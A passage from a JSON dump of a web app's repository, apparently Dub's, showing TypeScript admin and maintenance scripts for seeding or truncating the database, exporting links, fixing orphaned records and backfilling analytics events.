{ program, workspace } = data;\n\n  if (!program) {\n    console.log(\"No program to insert\");\n    return;\n  }\n\n  const { id } = await prisma.program.create({\n    data: {\n      id: program.id,\n      workspaceId: workspace.id,\n      name: program.name,\n      slug: program.slug,\n      logo: program.logo,\n      defaultFolderId: program.defaultFolderId,\n      defaultGroupId: program.defaultGroupId,\n      domain: program.domain,\n      url: program.url,\n      termsUrl: program.termsUrl,\n      helpUrl: program.helpUrl,\n      supportEmail: program.supportEmail,\n      messagingEnabledAt: new Date(),\n      partnerNetworkEnabledAt: new Date(),\n      addedToMarketplaceAt: new Date(),\n      featuredOnMarketplaceAt: new Date(),\n    },\n  });\n\n  console.log(`Created program ${id}`);\n};\n\n// Create partners\nconst createPartners = async (data: SeedData) => {\n  const { partners, program } = data;\n\n  if (!partners || partners.length === 0) {\n    console.log(\"No partners to insert\");\n    return;\n  }\n\n  if (!program) {\n    console.log(\"Program is required to create partners.\");\n    return;\n  }\n\n  const passwordHash = await hashPassword(\"password\");\n\n  // Create users for partners\n  await prisma.user.createMany({\n    data: partners.map((partner) => ({\n      id: partner.user.id,\n      name: partner.user.name,\n      email: partner.user.email,\n      emailVerified: new Date(partner.user.emailVerified),\n      passwordHash,\n      defaultPartnerId: partner.id,\n    })),\n  });\n\n  // Create partners\n  const { count: partnerCount } = await prisma.partner.createMany({\n    data: partners.map((partner) => ({\n      id: partner.id,\n      name: partner.name,\n      email: partner.email,\n      description: partner.description,\n      country: partner.country,\n      createdAt: new Date(partner.createdAt),\n    })),\n  });\n\n  // Create partner users\n  await prisma.partnerUser.createMany({\n    data: partners.map((partner) => ({\n      userId: partner.user.id,\n      partnerId: partner.id,\n      role: \"owner\",\n      createdAt: new Date(partner.createdAt),\n    })),\n  });\n\n  console.log(`Created ${partnerCount} partners`);\n\n  // Create program enrollments\n  const { count: enrollmentCount } = await prisma.programEnrollment.createMany({\n    data: partners.map((partner) => ({\n      id: createId({ prefix: \"pge_\" }),\n      partnerId: partner.id,\n      programId: program.id,\n      groupId: program.defaultGroupId,\n    })),\n  });\n\n  console.log(`Created ${enrollmentCount} program enrollments`);\n};\n\n// Create integrations\nconst createIntegrations = async (data: SeedData) => {\n  const { integrations, workspace } = data;\n\n  if (!integrations || integrations.length === 0) {\n    console.log(\"No integrations to insert\");\n    return;\n  }\n\n  const { count } = await prisma.integration.createMany({\n    data: integrations.map((integration) => ({\n      ...integration,\n      projectId: workspace.id,\n      screenshots: integration.screenshots\n        ? (integration.screenshots as Prisma.JsonArray)\n        : undefined,\n      verified: Boolean(integration.verified),\n      comingSoon: Boolean(integration.comingSoon),\n    })),\n  });\n\n  console.log(`Created ${count} integrations`);\n};\n\n// Delete in order of dependencies\nconst truncate = async () => {\n  console.log(\"Truncating database...\\n\");\n\n  // First, nullify the defaultProgramId references to break the relation\n  await prisma.project.updateMany({\n    data: {\n      defaultProgramId: null,\n    },\n  });\n\n  const tables = [\n    \"InstalledIntegration\",\n    \"LinkWebhook\",\n    \"Webhook\",\n    \"UtmTemplate\",\n    \"LinkTag\",\n    \"Tag\",\n    \"Token\",\n    \"RestrictedToken\",\n    \"OAuthRefreshToken\",\n    \"PasswordResetToken\",\n    \"VerificationToken\",\n    \"EmailVerificationToken\",\n    \"NotificationPreference\",\n    \"Integration\",\n    \"Commission\",\n    \"PartnerComment\",\n    \"Payout\",\n    \"Invoice\",\n    \"Customer\",\n    \"Reward\",\n    \"DiscountCode\",\n    \"Discount\",\n    \"FolderAccessRequest\",\n    \"EmailDomain\",\n    \"Message\",\n    \"PartnerGroupDefaultLink\",\n    \"FolderUser\",\n    \"Folder\",\n    \"Link\",\n    \"Workflow\",\n    \"BountyGroup\",\n    \"BountySubmission\",\n    \"Bounty\",\n    \"CampaignGroup\",\n    \"Campaign\",\n    \"ProgramApplication\",\n    \"ProgramEnrollment\",\n    \"PartnerGroup\",\n    \"PartnerUser\",\n    \"Partner\",\n    \"PartnerInvite\",\n    \"Domain\",\n    \"ProjectUsers\",\n    \"User\",\n    \"Program\",\n    \"Project\",\n  ];\n\n  const total = tables.length;\n  const errors: string[] = [];\n\n  for (let i = 0; i < tables.length; i++) {\n    const tableName = tables[i];\n    try {\n      process.stdout.write(`\\r[${i + 1}/${total}] Truncating ${tableName}...`);\n      // Use TRUNCATE for each table separately (MySQL/PlanetScale syntax)\n      await prisma.$executeRawUnsafe(`TRUNCATE TABLE \\`${tableName}\\`;`);\n    } catch (error: any) {\n      errors.push(\n        `${tableName}: ${error.message || error.code || \"Unknown error\"}`,\n      );\n      process.stdout.write(\n        `\\r[${i + 1}/${total}] Skipping ${tableName} (error occurred)...`,\n      );\n    }\n  }\n\n  console.log(\"\\n\");\n\n  if (errors.length > 0) {\n    console.log(\"⚠️  Some tables had errors during truncation:\");\n    errors.forEach((error) => console.log(`  - ${error}`));\n    console.log(\"\");\n  }\n\n  console.log(\"Database truncated successfully\");\n};\n\n// Ask for confirmation - requires typing \"YES DELETE DATA\"\nconst askConfirmation = (question: string): Promise<boolean> => {\n  const rl = readline.createInterface({\n    input: process.stdin,\n    output: process.stdout,\n  });\n\n  return new Promise((resolve) => {\n    rl.question(\n      `${question}\\nType \"YES DELETE DATA\" to confirm: `,\n      (answer) => {\n        rl.close();\n        resolve(answer === \"YES DELETE DATA\");\n      },\n    );\n  });\n};\n\nasync function main() {\n  // Check for --truncate flag\n  // process.argv[0] = node, process.argv[1] = script path, process.argv[2+] = arguments\n  const shouldTruncate = process.argv.slice(2).includes(\"--truncate\");\n\n  if (shouldTruncate) {\n    console.log(\n      \"\\n⚠️  WARNING: This will delete ALL data from the database.\\n\",\n    );\n    console.log(\"⚠️  Make sure you are NOT on production database!\\n\");\n    const confirmed = await askConfirmation(\n      \"Are you sure you want to delete ALL data from the database?\",\n    );\n\n    if (!confirmed) {\n      console.log(\"\\nTruncate canceled. Exiting...\");\n      process.exit(0);\n    }\n\n    console.log(\"\\n\");\n    await truncate();\n    console.log(\"\\n\");\n  }\n\n  const data = parseJSON();\n\n  await createWorkspace(data);\n  await createUsers(data);\n  await createDomains(data);\n  await createFolders(data);\n  await createProgram(data);\n  await createRewards(data);\n  await createGroups(data);\n  await createPartners(data);\n  await createIntegrations(data);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/download-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      projectId: \"xxx\",\n      archived: false,\n      folderId: null,\n      domain: \"xxx\",\n      clicks: {\n        gt: 0,\n      },\n      key: {\n        not: \"_root\",\n      },\n    },\n    select: {\n      id: true,\n      shortLink: true,\n      key: true,\n      externalId: true,\n      clicks: true,\n      createdAt: true,\n    },\n    orderBy: {\n      clicks: \"desc\",\n    },\n  });\n  console.log(links.length);\n\n  fs.writeFileSync(\"xxx.csv\", Papa.unparse(links));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/download-top-links.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { prisma } from \"@dub/prisma\";\nimport { linkConstructor } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nasync function main() {\n  const topLinks = await getAnalytics({\n    event: \"clicks\",\n    groupBy: \"top_links\",\n    workspaceId: \"xxx\",\n    interval: \"30d\",\n    root: false,\n  }).then(async (data) => {\n    return await Promise.all(\n      data.map(\n        async ({ link: linkId, clicks }: { link: string; clicks: number }) => {\n          const link = await prisma.link.findUnique({\n            where: {\n              id: linkId,\n            },\n            select: {\n              domain: true,\n              key: true,\n            },\n          });\n          if (!link) return;\n          return {\n            link: linkConstructor({\n              domain: link.domain,\n              key: link.key,\n              pretty: true,\n            }),\n            clicks,\n          };\n        },\n      ),\n    );\n  });\n\n  fs.writeFileSync(\"xxx.csv\", Papa.unparse(topLinks));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/dub-domain-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const users = await prisma.link.groupBy({\n    by: [\"userId\"],\n    where: {\n      domain: \"dub.sh\",\n    },\n    _count: {\n      userId: true,\n    },\n    orderBy: {\n      _count: {\n        userId: \"desc\",\n      },\n    },\n    take: 100,\n  });\n  console.table(users);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/dub-partner-rewind.ts",
    "content": "import { EXCLUDED_PROGRAM_IDS } from \"@/lib/constants/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk, toCentsNumber } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nconst REWIND_EARNINGS_MINIMUM = 1_00; // $1\n\nasync function main() {\n  const programEnrollments = await prisma.programEnrollment.groupBy({\n    by: [\"partnerId\"],\n    where: {\n      programId: {\n        notIn: EXCLUDED_PROGRAM_IDS,\n      },\n      totalCommissions: {\n        gte: REWIND_EARNINGS_MINIMUM,\n      },\n    },\n    _sum: {\n      totalClicks: true,\n      totalLeads: true,\n      totalSaleAmount: true,\n      totalCommissions: true,\n    },\n    orderBy: {\n      _sum: {\n        totalCommissions: \"desc\",\n      },\n    },\n  });\n  console.log(`Found ${programEnrollments.length} program enrollments`);\n\n  const payloads = programEnrollments.map(({ partnerId, _sum }) => ({\n    partnerId,\n    year: 2025,\n    totalClicks: _sum.totalClicks ?? 0,\n    totalLeads: _sum.totalLeads ?? 0,\n    totalRevenue: toCentsNumber(_sum.totalSaleAmount ?? 0),\n    totalEarnings: toCentsNumber(_sum.totalCommissions ?? 0),\n  }));\n\n  console.table(payloads.slice(0, 10));\n  console.table(payloads.slice(-10));\n\n  const chunks = chunk(payloads, 1000);\n  for (const chunk of chunks) {\n    const res = await prisma.$transaction(async (tx) => {\n      const deleted = await tx.partnerRewind.deleteMany({\n        where: {\n          partnerId: {\n            in: chunk.map(({ partnerId }) => partnerId),\n          },\n        },\n      });\n      console.log(`Deleted ${deleted.count} partner rewinds`);\n      return await tx.partnerRewind.createMany({\n        data: chunk,\n      });\n    });\n    console.log(`Created ${res.count} partner rewinds`);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/dub-sdk.ts",
    "content": "import { dub } from \"@/lib/dub\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const data = await dub.analytics.retrieve({\n    event: \"clicks\",\n    groupBy: \"triggers\",\n    interval: \"30d\",\n  });\n  console.log({ data });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/dub-wrapped.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { AnalyticsCountries, AnalyticsTopLinks } from \"dub/models/components\";\nimport { getAnalytics } from \"../lib/analytics/get-analytics\";\n\nasync function main() {\n  const seeded = await prisma.yearInReview\n    .findMany({\n      where: {\n        year: 2024,\n      },\n      select: {\n        workspaceId: true,\n      },\n    })\n    .then((data) => data.map(({ workspaceId }) => workspaceId));\n\n  // get projects with links created in 2024 and have clicks\n  const data = await prisma.link\n    .groupBy({\n      by: [\"projectId\"],\n      where: {\n        createdAt: {\n          gte: new Date(\"2024-01-01\"),\n          lte: new Date(\"2024-12-31\"),\n        },\n        AND: [\n          {\n            projectId: {\n              not: null,\n            },\n          },\n          {\n            projectId: {\n              notIn: seeded,\n            },\n          },\n        ],\n      },\n      _count: {\n        id: true,\n      },\n      _sum: {\n        clicks: true,\n      },\n      orderBy: {\n        _count: {\n          id: \"desc\",\n        },\n      },\n      take: 20,\n    })\n    // only get projects with at least 5 links created in 2024\n    .then((data) => data.filter(({ _count }) => _count.id >= 5));\n\n  const payloads = await Promise.all(\n    data.map(async ({ projectId, _count, _sum }) => {\n      const [topLinks, topCountries] = (await Promise.all([\n        getAnalytics({\n          workspaceId: projectId!,\n          event: \"clicks\",\n          groupBy: \"top_links\",\n          interval: \"ytd\",\n          root: false,\n        }),\n        getAnalytics({\n          workspaceId: projectId!,\n          event: \"clicks\",\n          groupBy: \"countries\",\n          interval: \"ytd\",\n        }),\n      ])) as [AnalyticsTopLinks[], AnalyticsCountries[]];\n\n      return {\n        year: 2024,\n        workspaceId: projectId!,\n        totalLinks: _count.id,\n        totalClicks: _sum.clicks ?? 0,\n        topLinks: topLinks.slice(0, 5).map(({ domain, key, clicks }) => ({\n          item: `${domain}/${key}`,\n          count: clicks,\n        })),\n        topCountries: topCountries.slice(0, 5).map(({ country, clicks }) => ({\n          item: country,\n          count: clicks,\n        })),\n      };\n    }),\n  );\n\n  console.table(payloads);\n\n  await prisma.yearInReview.createMany({\n    data: payloads,\n  });\n}\n\n// watch -n 10 npm run script dub-wrapped\nmain();\n"
  },
  {
    "path": "apps/web/scripts/find-link.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      projectId: \"xxx\",\n      url: \"https://example.com\",\n    },\n    select: {\n      id: true,\n      shortLink: true,\n      url: true,\n    },\n  });\n\n  console.table(links);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/find-workspaces-without-users.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // Find all projects that don't have any ProjectUsers\n  const workspacesWithoutUsers = await prisma.project.findMany({\n    where: {\n      users: {\n        none: {},\n      },\n      plan: \"free\",\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      plan: true,\n      createdAt: true,\n      updatedAt: true,\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n    take: 25, // to avoid overwhelming the queue\n  });\n\n  console.log(`Found ${workspacesWithoutUsers.length} projects without users.`);\n\n  if (workspacesWithoutUsers.length === 0) {\n    return;\n  }\n\n  console.table(\n    workspacesWithoutUsers.map((project) => ({\n      id: project.id,\n      name: project.name,\n      slug: project.slug,\n      plan: project.plan,\n      createdAt: project.createdAt.toISOString(),\n    })),\n  );\n\n  const delayIncrement = 30;\n\n  for (let i = 0; i < workspacesWithoutUsers.length; i++) {\n    const project = workspacesWithoutUsers[i];\n    const delay = delayIncrement * (i + 1);\n\n    const response = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/workspaces/delete`,\n      body: {\n        workspaceId: project.id,\n      },\n      delay,\n    });\n\n    console.log(\n      `Queued deletion for project ${project.id} (${project.slug}) with ${delay}s delay (messageId: ${response.messageId})`,\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/fix-broken-applications.ts",
    "content": "import { sendBatchEmail } from \"@dub/email\";\nimport NotifyPartnerReapply from \"@dub/email/templates/notify-partner-reapply\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk, groupBy } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const pendingProgramEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      status: \"pending\",\n      applicationId: {\n        not: null,\n      },\n    },\n    include: {\n      partner: true,\n      program: true,\n      application: true,\n    },\n  });\n\n  const missingApplications = pendingProgramEnrollments.filter(\n    (p) => !p.application,\n  );\n\n  console.log(`Found ${missingApplications.length} missing applications`);\n\n  console.table(\n    missingApplications.map((p) => ({\n      partner: p.partner.email,\n      program: p.program.name,\n      applicationId: p.applicationId,\n      createdAt: p.createdAt,\n    })),\n  );\n\n  const missingApplicationsByPartner = Object.entries(\n    groupBy(missingApplications, (p) => p.partnerId),\n  ).map(([_partnerId, enrollments]) => ({\n    partner: {\n      name: enrollments[0].partner.name,\n      email: enrollments[0].partner.email!,\n    },\n    programs: enrollments.map((e) => ({\n      name: e.program.name,\n      slug: e.program.slug,\n      logo: e.program.logo!,\n    })),\n  }));\n\n  const chunks = chunk(missingApplicationsByPartner, 100);\n\n  for (const chunk of chunks) {\n    await sendBatchEmail(\n      chunk.map((p) => ({\n        subject: \"Please resubmit your applications to these programs\",\n        to: p.partner.email,\n        replyTo: \"support@dub.co\",\n        react: NotifyPartnerReapply({\n          partner: p.partner,\n          programs: p.programs,\n        }),\n      })),\n    );\n  }\n\n  const res = await prisma.programEnrollment.deleteMany({\n    where: {\n      id: {\n        in: missingApplications.map((p) => p.id),\n      },\n    },\n  });\n\n  console.log(\"Deleted program enrollments\", res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/fix-broken-link-tags.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const linkTags = await prisma.link.findMany({\n    where: {\n      projectId: \"clrei1gld0002vs9mzn93p8ik\",\n    },\n    include: {\n      tags: true,\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n\n  const tagIds = linkTags.flatMap((link) => link.tags.map((tag) => tag.tagId));\n\n  const tags = await prisma.tag.findMany({\n    where: {\n      id: { in: tagIds },\n    },\n  });\n  const tagsThatDontExist = tagIds.filter(\n    (tagId) => !tags.some((tag) => tag.id === tagId),\n  );\n\n  const linksForTagsThatDontExist = await prisma.link.findMany({\n    where: {\n      tags: {\n        some: { tagId: { in: tagsThatDontExist } },\n      },\n    },\n  });\n\n  const deleteLinks = await prisma.link.deleteMany({\n    where: {\n      id: { in: linksForTagsThatDontExist.map((link) => link.id) },\n    },\n  });\n\n  console.log({ tagsThatDontExist, linksForTagsThatDontExist, deleteLinks });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/fix-broken-partner-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  let batch = 0;\n  while (true) {\n    const partnerUserIds = await prisma.partnerUser.findMany({\n      select: {\n        userId: true,\n      },\n      take: 5000,\n      skip: batch * 5000,\n    });\n    if (partnerUserIds.length === 0) {\n      break;\n    }\n    const users = await prisma.user.findMany({\n      where: {\n        id: {\n          in: partnerUserIds.map((partnerUser) => partnerUser.userId),\n        },\n      },\n    });\n    const usersThatDontExist = partnerUserIds.filter(\n      (partnerUser) => !users.some((user) => user.id === partnerUser.userId),\n    );\n    console.log(usersThatDontExist);\n\n    if (usersThatDontExist.length > 0) {\n      const deletedPartnerUsers = await prisma.partnerUser.deleteMany({\n        where: {\n          userId: {\n            in: usersThatDontExist.map((partnerUser) => partnerUser.userId),\n          },\n        },\n      });\n      console.log(`Deleted ${deletedPartnerUsers.count} partner users`);\n    }\n    batch++;\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/fix-broken-root-domains.ts",
    "content": "// @ts-nocheck\n\nimport { createLink } from \"@/lib/api/links\";\nimport { prisma } from \"@dub/prisma\";\nimport { DEFAULT_LINK_PROPS } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const domainsWithNoLinks = await prisma.domain.findMany({\n    where: {\n      links: {\n        none: {\n          key: \"_root\",\n        },\n      },\n    },\n    select: {\n      slug: true,\n      _count: {\n        select: {\n          links: true,\n        },\n      },\n      createdAt: true,\n      project: {\n        select: {\n          slug: true,\n          users: {\n            select: {\n              userId: true,\n            },\n          },\n        },\n      },\n      projectId: true,\n    },\n    take: 10,\n    orderBy: {\n      createdAt: \"asc\",\n    },\n  });\n\n  await Promise.all(\n    domainsWithNoLinks.map(async (domain) => {\n      if (!domain.project?.users[0].userId) {\n        console.log(`No user found for domain ${domain.slug}`);\n        return;\n      }\n\n      const res = await createLink({\n        ...DEFAULT_LINK_PROPS,\n        domain: domain.slug,\n        key: \"_root\",\n        url: \"\",\n        tags: undefined,\n        createdAt: domain.createdAt,\n        projectId: domain.projectId,\n        userId: domain.project?.users[0].userId,\n      });\n      console.log({ res });\n    }),\n  );\n\n  console.table(domainsWithNoLinks);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/fix-broken-workspace-users.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  let batch = 0;\n  while (true) {\n    const workspaceUserIds = await prisma.projectUsers.findMany({\n      select: {\n        userId: true,\n      },\n      take: 50000,\n      skip: batch * 50000,\n    });\n    if (workspaceUserIds.length === 0) {\n      break;\n    }\n    const users = await prisma.user.findMany({\n      where: {\n        id: {\n          in: workspaceUserIds.map((workspaceUser) => workspaceUser.userId),\n        },\n      },\n    });\n    const usersThatDontExist = workspaceUserIds.filter(\n      (workspaceUser) =>\n        !users.some((user) => user.id === workspaceUser.userId),\n    );\n    console.log(usersThatDontExist);\n\n    const deletedWorkspaceUsers = await prisma.projectUsers.deleteMany({\n      where: {\n        userId: {\n          in: usersThatDontExist.map((workspaceUser) => workspaceUser.userId),\n        },\n      },\n    });\n    console.log(`Deleted ${deletedWorkspaceUsers.count} workspace users`);\n    batch++;\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/fix-usage-count.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nfunction getLastMonthDate(billingCycleStart: number) {\n  const today = new Date();\n  const year = today.getFullYear();\n  const month = today.getMonth();\n\n  // Set to the previous month\n  const lastMonthDate = new Date(year, month - 1, billingCycleStart);\n\n  return lastMonthDate;\n}\n\nfunction getThisMonthDate(billingCycleStart: number) {\n  const today = new Date();\n  const year = today.getFullYear();\n  const month = today.getMonth();\n\n  // Set to the current month\n  const thisMonthDate = new Date(year, month, billingCycleStart);\n\n  return thisMonthDate;\n}\n\nasync function main() {\n  const projects = await prisma.project.findMany({\n    where: {\n      plan: {\n        not: \"free\",\n      },\n      linksUsage: {\n        gt: 0,\n      },\n      billingCycleStart: {\n        lt: 7,\n      },\n    },\n    select: {\n      id: true,\n      slug: true,\n      linksUsage: true,\n      billingCycleStart: true,\n    },\n  });\n\n  const finalProjects = await Promise.all(\n    projects.map(async (project) => {\n      const links = await prisma.link.count({\n        where: {\n          projectId: project.id,\n          createdAt: {\n            gte: getThisMonthDate(project.billingCycleStart),\n          },\n        },\n      });\n      //   if (links !== project.linksUsage) {\n      //     await prisma.project.update({\n      //       where: {\n      //         id: project.id,\n      //       },\n      //       data: {\n      //         linksUsage: links,\n      //       },\n      //     });\n      //   }\n      return {\n        ...project,\n        links,\n      };\n    }),\n  );\n\n  console.table(finalProjects);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/format-clicks.ts",
    "content": "import { nanoid } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nfunction createLinksMapFromFile(filePath: string) {\n  const fileContent = fs.readFileSync(filePath, { encoding: \"utf-8\" });\n  const lines = fileContent.split(\"\\n\").filter((line) => line.trim());\n\n  const linksMap = new Map();\n\n  for (const line of lines) {\n    try {\n      const data = JSON.parse(line);\n      // 'domain' and 'key' together form a unique identifier for each link\n      const uniqueId = `${data.domain}/${\n        data.key ? data.key.toLowerCase() : \"_root\"\n      }`; // Customize this based on your data structure\n      linksMap.set(uniqueId, data);\n    } catch (error) {\n      console.error(\"Error parsing line to JSON:\", error);\n    }\n  }\n\n  return linksMap;\n}\n\n// Function to determine the partition file name based on timestamp\nfunction getPartitionFileName(timestamp: string) {\n  const date = new Date(timestamp);\n  const start = new Date(\"2022-09-01\");\n  let current = new Date(start);\n\n  // Calculate 8-month intervals until the timestamp falls within the current interval\n  while (current < date) {\n    const end = new Date(current);\n    end.setMonth(end.getMonth() + 8);\n    if (date >= current && date < end) {\n      return `clicks-${current.getFullYear()}-${current.getMonth()}.ndjson`;\n    }\n    current = end;\n  }\n\n  // Fallback for any date beyond the calculated intervals\n  return `clicks-${date.getFullYear()}-${date.getMonth()}.ndjson`;\n}\n\n// Function to get or create a write stream for a given partition\nfunction getWriteStreamForPartition(partitionFileName: string) {\n  if (!writeStreams[partitionFileName]) {\n    writeStreams[partitionFileName] = fs.createWriteStream(partitionFileName, {\n      flags: \"a\",\n    });\n  }\n  return writeStreams[partitionFileName];\n}\n\nconst writeStreams: Record<string, fs.WriteStream> = {};\n\nasync function main() {\n  const links = createLinksMapFromFile(\"links-metadata.ndjson\");\n  const csvStream = fs.createReadStream(\"sql.csv\", \"utf-8\");\n\n  Papa.parse(csvStream, {\n    header: true,\n    skipEmptyLines: true,\n    step: ({ data }) => {\n      const link = links.get(\n        `${data.domain}/${data.key ? data.key.toLowerCase() : \"_root\"}`,\n      );\n\n      if (!link) {\n        // console.log(\n        //   `No link found for ${data.domain}/${data.key}. Probably deleted.`,\n        // );\n        return;\n      }\n\n      const { domain, key, id, projectId, url, alias, timestamp, ...rest } =\n        data;\n\n      const partitionFileName = getPartitionFileName(timestamp);\n      const stream = getWriteStreamForPartition(partitionFileName);\n\n      const clickData = {\n        ...rest,\n        timestamp,\n        click_id: nanoid(16),\n        link_id: link.link_id,\n        url: link.url || \"\",\n        bot: data.bot === \"1\" ? 1 : 0,\n      };\n\n      // Write directly to the appropriate file\n      stream.write(JSON.stringify(clickData) + \"\\n\");\n    },\n    complete: () => {\n      // Close all write streams once processing is complete\n      Object.values(writeStreams).forEach((stream) => stream.end());\n      console.log(\"All data processed.\");\n    },\n    error: (error) => {\n      console.error(\"Error processing file:\", error);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/format-links.ts",
    "content": "// @ts-nocheck – old migration script\n\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\n\nconst linkCriteria = {\n  select: {\n    id: true,\n    domain: true,\n    key: true,\n    url: true,\n    projectId: true,\n  },\n};\n\nasync function main() {\n  const links = await Promise.all(\n    [0, 1, 2, 3].map((idx) =>\n      prisma.link.findMany({\n        ...linkCriteria,\n        skip: idx * 100000,\n        take: 100000,\n      }),\n    ),\n  ).then((results) => results.flat());\n\n  const domains = await prisma.domain\n    .findMany({\n      select: {\n        id: true,\n        slug: true,\n        target: true,\n        projectId: true,\n      },\n    })\n    .then((domains) =>\n      domains.map((domain) => ({\n        ...domain,\n        domain: domain.slug,\n        key: \"_root\",\n        url: domain.target,\n      })),\n    );\n\n  const file = fs.createWriteStream(`links-metadata.ndjson`);\n\n  // Iterate over the array and write each object as a string\n  [...links, ...domains].forEach((obj) => {\n    file.write(\n      JSON.stringify({\n        ...obj,\n        timestamp: new Date(Date.now()).toISOString(),\n        id: undefined,\n        projectId: undefined,\n        link_id: obj.id,\n        url: obj.url || \"\",\n        project_id: obj.projectId || \"\",\n        deleted: 0,\n      }) + \"\\n\",\n    );\n  });\n\n  // Close the stream\n  file.end();\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/framer/1-process-framer-combined.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport * as z from \"zod/v4\";\nimport { tb } from \"../../lib/tinybird/client\";\n\n/*\n  Script to convert framer-combined.csv that Framer gave us\n  into framer_remaining_events_final_final.csv\n  (script 1 of 3 for Framer backfill)\n*/\n\nconst getFramerLeadEvents = tb.buildPipe({\n  pipe: \"get_framer_lead_events\",\n  parameters: z.object({\n    linkIds: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\"))),\n  }),\n  data: z.any(),\n});\n\nconst framerCombinedData: {\n  via: string;\n  externalId: string;\n  eventName: string;\n  creationDate: string;\n}[] = [];\nconst externalIdEventNameSet = new Set<string>();\n\nasync function processFramerData(linkToBackfill: {\n  via: string;\n  linkId: string;\n}) {\n  return new Promise<void>((resolve) => {\n    Papa.parse(fs.createReadStream(\"framer_combined.csv\", \"utf-8\"), {\n      header: true,\n      skipEmptyLines: true,\n      step: (result: {\n        data: {\n          via: string;\n          externalId: string;\n          eventName: string;\n          creationDate: string;\n        };\n      }) => {\n        if (linkToBackfill.via === result.data.via) {\n          // check if externalId:eventName pair already exists in framerCombinedData\n          if (\n            externalIdEventNameSet.has(\n              `${result.data.externalId}:${result.data.eventName}`,\n            )\n          ) {\n            return;\n          }\n          externalIdEventNameSet.add(\n            `${result.data.externalId}:${result.data.eventName}`,\n          );\n          framerCombinedData.push({\n            via: result.data.via,\n            externalId: result.data.externalId,\n            eventName: result.data.eventName,\n            creationDate: result.data.creationDate,\n          });\n        }\n      },\n      complete: async () => {\n        console.log(\n          `Found ${framerCombinedData.length} framerCombinedData for ${linkToBackfill.via} (${linkToBackfill.linkId})`,\n        );\n\n        const { data: leadEvents } = await getFramerLeadEvents({\n          linkIds: linkToBackfill.linkId,\n        });\n\n        const customerIdsSet = new Set(\n          leadEvents.map((event) => event.customer_id),\n        );\n\n        const customers = await prisma.customer.findMany({\n          where: {\n            id: {\n              in: Array.from(customerIdsSet),\n            },\n          },\n          select: {\n            id: true,\n            externalId: true,\n          },\n        });\n\n        const processedLeadEvents = leadEvents.map((event) => {\n          const customer = customers.find(\n            (customer) => customer.id === event.customer_id,\n          )!;\n          return {\n            linkId: event.link_id,\n            externalId: customer.externalId!,\n            eventName: event.event_name,\n            creationDate: event.timestamp,\n          };\n        });\n\n        console.log(\n          `Found ${processedLeadEvents.length} processedLeadEvents for ${linkToBackfill.via} (${linkToBackfill.linkId})`,\n        );\n\n        // find events in framerCombinedData that don't exist in processedLeadEvents\n        const eventsToBackfill = framerCombinedData.filter(\n          (event) =>\n            !processedLeadEvents.find(\n              (ple) =>\n                ple.externalId.toLowerCase() ===\n                  event.externalId.toLowerCase() &&\n                ple.eventName.toLowerCase() === event.eventName.toLowerCase(),\n            ),\n        );\n\n        console.log(\n          `Found ${eventsToBackfill.length} events to backfill for ${linkToBackfill.via} 